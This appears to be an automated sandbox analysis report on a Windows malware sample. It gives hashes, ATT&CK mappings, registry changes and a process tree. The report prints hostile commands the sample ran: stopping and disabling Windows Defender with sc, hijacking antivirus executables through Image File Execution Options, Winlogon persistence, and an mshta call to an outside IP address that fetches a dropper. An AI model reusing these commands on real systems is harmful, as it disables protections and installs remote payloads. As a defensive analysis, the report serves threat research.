67d02e82efdc1032b8bf7231fd4ab8a21b161229f531c39b501e1877beceb09e

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
06/07/2024, 06:21

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General

Target

27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Size

2.3MB
MD5

27891f97676249d11cf7cce5af1d6466
SHA1

0d6b9138acdb589e945eb659604e828b6e613c67
SHA256

67d02e82efdc1032b8bf7231fd4ab8a21b161229f531c39b501e1877beceb09e
SHA512

c39fcc696c73ee7d72f21af34919512825734fc996fb60570475df3693509bc27d76a764f01cfc33e9857b33a7c4d249d4ad9d27ab51e289abee9731dab203b6
SSDEEP

49152:e5FHC2MmVOlOoqvH6rp1NcUczjRO4Ye47YfW5I5GWMo/4aHRNpoRxjt:dWVuVqf6V1NcUczjfBGeF/4aHRNpoLt

Score

10^/10

evasion execution persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=DJVPRFTV&2=i-s&3=106&4=9200&5=6&6=2&7=919041&8=1033

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\fvwusu.exe"	fvwusu.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1752	mshta.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 20 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	fvwusu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	fvwusu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	fvwusu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	fvwusu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	fvwusu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	fvwusu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	fvwusu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	fvwusu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	fvwusu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	fvwusu.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2660	fvwusu.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1176	sc.exe
2988	sc.exe
2604	sc.exe
2004	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	fvwusu.exe
Token: SeShutdownPrivilege	2660	fvwusu.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe
2660	fvwusu.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2660	fvwusu.exe
2660	fvwusu.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 1176	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	85
PID 1356 wrote to memory of 1176	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	85
PID 1356 wrote to memory of 1176	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	85
PID 1356 wrote to memory of 2988	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	86
PID 1356 wrote to memory of 2988	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	86
PID 1356 wrote to memory of 2988	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	86
PID 1356 wrote to memory of 2660	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	89
PID 1356 wrote to memory of 2660	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	89
PID 1356 wrote to memory of 2660	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	89
PID 1356 wrote to memory of 636	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	90
PID 1356 wrote to memory of 636	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	90
PID 1356 wrote to memory of 636	1356	27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe	90
PID 2660 wrote to memory of 2604	2660	fvwusu.exe	92
PID 2660 wrote to memory of 2604	2660	fvwusu.exe	92
PID 2660 wrote to memory of 2604	2660	fvwusu.exe	92
PID 2660 wrote to memory of 2004	2660	fvwusu.exe	93
PID 2660 wrote to memory of 2004	2660	fvwusu.exe	93
PID 2660 wrote to memory of 2004	2660	fvwusu.exe	93
PID 2660 wrote to memory of 1752	2660	fvwusu.exe	96
PID 2660 wrote to memory of 1752	2660	fvwusu.exe	96
PID 2660 wrote to memory of 1752	2660	fvwusu.exe	96

C:\Users\Admin\AppData\Local\Temp\27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\27891f97676249d11cf7cce5af1d6466_JaffaCakes118.exe"
1⤵
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1176
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2988
- C:\Users\Admin\AppData\Roaming\fvwusu.exe
  C:\Users\Admin\AppData\Roaming\fvwusu.exe
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2604
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2004
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=DJVPRFTV&2=i-s&3=106&4=9200&5=6&6=2&7=919041&8=1033"
    3⤵
    - Blocklisted process makes network request
    PID:1752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\27891F~1.EXE" >> NUL
  2⤵
  PID:636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\fvwusu.exe

Filesize
2.3MB

MD5
27891f97676249d11cf7cce5af1d6466

SHA1
0d6b9138acdb589e945eb659604e828b6e613c67

SHA256
67d02e82efdc1032b8bf7231fd4ab8a21b161229f531c39b501e1877beceb09e

SHA512
c39fcc696c73ee7d72f21af34919512825734fc996fb60570475df3693509bc27d76a764f01cfc33e9857b33a7c4d249d4ad9d27ab51e289abee9731dab203b6

Download Submit
memory/1356-28-0x00000000028C0000-0x00000000028C1000-memory.dmp

Filesize
4KB

Download
memory/1356-10-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-8-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/1356-7-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1356-6-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/1356-5-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/1356-4-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/1356-3-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/1356-2-0x00000000009B0000-0x00000000009B1000-memory.dmp

Filesize
4KB

Download
memory/1356-27-0x0000000002870000-0x0000000002871000-memory.dmp

Filesize
4KB

Download
memory/1356-0-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download
memory/1356-17-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-39-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-38-0x0000000002890000-0x0000000002891000-memory.dmp

Filesize
4KB

Download
memory/1356-37-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-36-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-35-0x0000000002930000-0x0000000002931000-memory.dmp

Filesize
4KB

Download
memory/1356-34-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-33-0x0000000002920000-0x0000000002921000-memory.dmp

Filesize
4KB

Download
memory/1356-32-0x00000000028E0000-0x00000000028E1000-memory.dmp

Filesize
4KB

Download
memory/1356-31-0x00000000028F0000-0x00000000028F1000-memory.dmp

Filesize
4KB

Download
memory/1356-30-0x0000000002900000-0x0000000002901000-memory.dmp

Filesize
4KB

Download
memory/1356-9-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-29-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-11-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/1356-26-0x00000000028A0000-0x00000000028A1000-memory.dmp

Filesize
4KB

Download
memory/1356-25-0x0000000002830000-0x0000000002831000-memory.dmp

Filesize
4KB

Download
memory/1356-24-0x0000000002840000-0x0000000002841000-memory.dmp

Filesize
4KB

Download
memory/1356-23-0x0000000002850000-0x0000000002851000-memory.dmp

Filesize
4KB

Download
memory/1356-22-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-21-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-20-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-19-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

Download
memory/1356-18-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-16-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-15-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-14-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-13-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-12-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/1356-40-0x00000000036B0000-0x00000000036B2000-memory.dmp

Filesize
8KB

Download
memory/1356-43-0x0000000000980000-0x0000000000981000-memory.dmp

Filesize
4KB

Download
memory/1356-41-0x00000000036A0000-0x00000000036A2000-memory.dmp

Filesize
8KB

Download
memory/1356-42-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download
memory/1356-1-0x00000000026D0000-0x000000000272A000-memory.dmp

Filesize
360KB

Download
memory/1356-50-0x00000000026D0000-0x000000000272A000-memory.dmp

Filesize
360KB

Download
memory/1356-51-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download
memory/2660-48-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download
memory/2660-52-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download